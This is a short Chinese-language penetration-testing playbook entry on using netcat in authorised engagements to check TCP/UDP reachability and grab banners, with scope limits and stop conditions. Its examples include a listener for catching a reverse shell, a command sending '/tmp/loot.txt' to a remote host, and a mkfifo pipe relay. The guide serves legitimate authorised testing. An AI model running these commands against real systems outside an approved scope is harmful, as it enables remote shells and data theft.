用途:在授权渗透测试中,用低开销方式验证套接字与网络路径,包括 TCP/UDP 可达性、banner 抓取和监听器行为。主要对应发现与侦察、验证与受控影响演示阶段,次要用于复测与收尾。
适用情形:需要确认 TCP 或 UDP 是否可达;需要简单的监听或 banner 测试;需要对网络路径或传输路由做最小化证明。不适用情形:网络路径未获明确批准;临时监听器或传输会超出约定的影响级别。
输入:已批准的 host 与 port 范围、连通性检查方向、停止条件与日志要求。
流程:保持 host 与 port 范围最小;只验证特定的可达性或 banner 问题;记录所用监听或客户端的确切参数;路径被确认或排除后即停止;验证完成后立即拆除监听器。
命令示例(将示例主机与端口替换为已批准范围内取值):
Connect and grab a banner
nc -nv 10.10.10.100 80
Listen for a reverse shell connection
nc -lvnp 4444
Send a file
nc -nv 10.10.10.1 4444 < /tmp/loot.txt
Receive a file
nc -lvnp 4444 > /tmp/received.txt
Manual HTTP request
printf 'GET / HTTP/1.0\r\nHost: portal.contoso.com\r\n\r\n' | nc portal.contoso.com 80
Pipe-based relay
mkfifo /tmp/backpipe && nc -lvnp 4444 < /tmp/backpipe | nc 10.10.10.100 80 > /tmp/backpipe
需留存证据:已批准的网络路径或监听器是否生效、所用确切 host、port 与方向、修复所需的最小证明。
安全边界:仅在明确批准的 host 与 port 范围内使用;监听器保持短时存活并完整记录。其他细节暂未提供。